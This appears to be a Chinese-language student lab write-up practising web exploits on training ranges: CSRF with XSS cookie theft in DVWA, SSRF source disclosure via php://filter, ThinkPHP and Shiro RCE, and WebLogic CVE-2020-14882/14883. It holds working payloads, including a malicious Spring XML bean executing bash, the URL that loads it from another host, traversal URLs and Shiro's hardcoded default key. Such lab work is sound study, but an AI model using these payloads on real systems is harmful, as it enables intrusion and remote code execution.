1.CSRF: CSRF 漏洞全称是跨站请求伪造(Cross - site Request Forgery)1。其原理是利用用户已登录目标网站的身份,诱使用户点击恶意链接或访问恶意网站,在用户不知情的情况下,以用户的名义向目标网站发送请求,执行一些非用户本意的操作,如修改密码、转账等
2.DVWA之CSRF中high等级结合存储型XSS攻击
通过burpsuite抓包分析high级别加入了验证token机制,每次修改密码需要提交服务器生成的随机的token参数。这个High安全等级主要是利用了DVWA的XSS漏洞和CSRF漏洞共同完成的,找到DVWA的XSS模块,通过XSS漏洞获取浏览器Cookie。
2.1利用XSS获取cookie
使用1337用户获取cookie
2.2登录admin 修改数据包密码,改成1337用户的COOKIE变成低等级LOW,删除token
2.3 改好后把数据包放过去此时1337用户的密码已修改
3. 使用Burp生成CSRF利用POC并实现攻击
3.1使用pikachu靶场,CSRF修改用户个人信息
3.2Include auto - submit script:勾选后会包含自动提交脚本,能让构造好的 CSRF 攻击页面自动提交表单,无需手动触发,增强攻击的自动化程度。
3.2运行CSRF HTML后的LILI个人的信息已修改
4.SSRF:file_get_content实验,要求获取ssrf.php的源码
4.1file_get_contents里面带有 php://filter 我们可以它来读取php源码,所以构造URL:
http://159.75.158.180:8000/vul/ssrf/ssrf_fgc.php? file=php://filter/resource=ssrf.php
4.2但是php文件被解析了,我们希望拿到网站的源代码,那么需要对代码做一层编码,不让它解析,拿到之后我们再进行解码,这样就拿到了网站的源代码:在read参数中加入 convert.base64-encode, PHP: 转换过滤器 - Manual
http://159.75.158.180:8000/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-
encode/resource=ssrf.php
4.3最后对经过base64编码后的代码进行解码,即得到ssrf.php的源码
4.4PHP源码
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "ssrf.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="ssrf.php"></a>
</li>
<li class="active">概述</li>
</ul>
</div>
<div class="page-content">
<b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>
<p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>
<br>
数据流:攻击者----->服务器---->目标地址<br>
<br>
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
<pre style="width: 500px;">
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
</pre><br>
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。
<br>
<br>
你可以根据"SSRF"里面的项目来搞懂问题的原因
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
5.RCE:分别实现ThinkPHP漏洞的利用过程
在2022年12月,Thinkphp被披露出在开启多语言特性的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录遍历+文件包含,通过pearcmd文件包含trick即可实现RCE。
漏洞利用条件:
1)、多语言特性开启
2)、安装pear库
3)、register_argc_argv = on
4)、知道pearcmd.php路径
5.1漏洞影响范围:
6.0.1 < ThinkPHP ≤ 6.0.13
5.1.0 < ThinkPHP ≤ 5.1.8
5.0.0 < ThinkPHP ≤ 5.0.12
————————————————
5.2插入代码实现文件包含需要用BURP抓包绕过
5.3访问文件地址,RCE成功实现
Weblogic未授权远程命令执行漏洞。组合利用 CVE-2020-14882 和 CVE-2020-14883 可以使攻击者绕过Weblogic后台登录限制,远程代码执行获取Weblogic服务器权限
6.1.安装Docker-compose:yum insta11 -y docker-compose
6.2下载vulhub: git clone https://github.com/vu1hub/vu1hub.git
6.3 进入Vulub
6.4进入WEBLIGIC,启动容器
6.5 CVE-2020-14882(未授权访问到管理后台页面)
登录http://159.75.158.180:7001/console/css/%252e%252e%252fconsole.portal
因为是未授权访问,实际并没有操作权限只能查看,要实现 RCE 漏洞需要利用XML,将构造好的xml文件放在自己搭建的服务器上
6.6 构造一个恶意的XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml :在upload-labs 靶场上传http://159.75.158.180:8081/Pass-01/index.php,XML文档如下:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
访问如下URL,即可让Weblogic加载该恶意XML文件,并执行其中的命令:
159.75.158.180:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://159.75.158.180:8081/upload/cve.xml")
6.7虽然网站返回404,但命令已经执行,文件在后台成功创建,进入容器就可以查到创建的success1文件
7.RCE Shiro漏洞的利用过程
7.1Apache Shiro是一款开源Java安全框架,提供身份验证、授权、密码和会话管理等功能。
在Apache Shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项,登录后请求数据包中的Cookie字段将会多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的,加密过程:
7.2用户信息 --> 序列化 --> AES加密(这一步需要用密钥key) --> Base64编码 --> RememberMe Cookie值
7.3识别身份时服务端会对Cookie里的RememberMe解密。因为AES加密的密钥被硬编码在代码里默认密钥:kPH+bIxk5D2deZiIxcaaaA==),如果把用户信息替换为恶意命令,经过解密后被服务端接收解密过程中未进行过滤,造成该漏洞,实现远程命令执行。
7.4 影响范围:Apache Shiro ≤ 1.2.4
7.5在登录页面勾选记住密码后抓包登录,查看请求包中是否有RememberMe字段,如果响应包中有RememberMe=deleteMe字段说明登录页面采用了Shiro框架进行身份验证,但不能直接说明存在该漏洞。
7.6 利用ShiroExploit.V2.51工具检测
输入目标地址
找到KEY值
7.7 利用shiro_attack_2.2
实现远程命令执行
7.8 Shiro权限绕过漏洞(CVE-2020-1957)
7.81漏洞概述:Apache Shiro 1.5.2之前的版本,由于Shiro拦截器和Web框架拦截器对RequestURI的匹配流程存在差异,导致攻击者通过构造特殊的http请求,可以绕过Shiro的认证,未授权访问敏感路径。
以Spring框架为例。Spring Boot搭配Apache Shiro进行身份验证、权限控制时,利用Spring和Apache 和Shiro对URL的处理逻辑不同,实现认证绕过和未授权访问
7.82 影响范围
Apache Shiro < 1.5.2
7.83直接请求管理页面/admin/ ,无法访问,将会被重定向到登录页面:
7.84构造恶意请求url:http://ip:port/xxx/…;/admin/,访问到管理页面,越权成功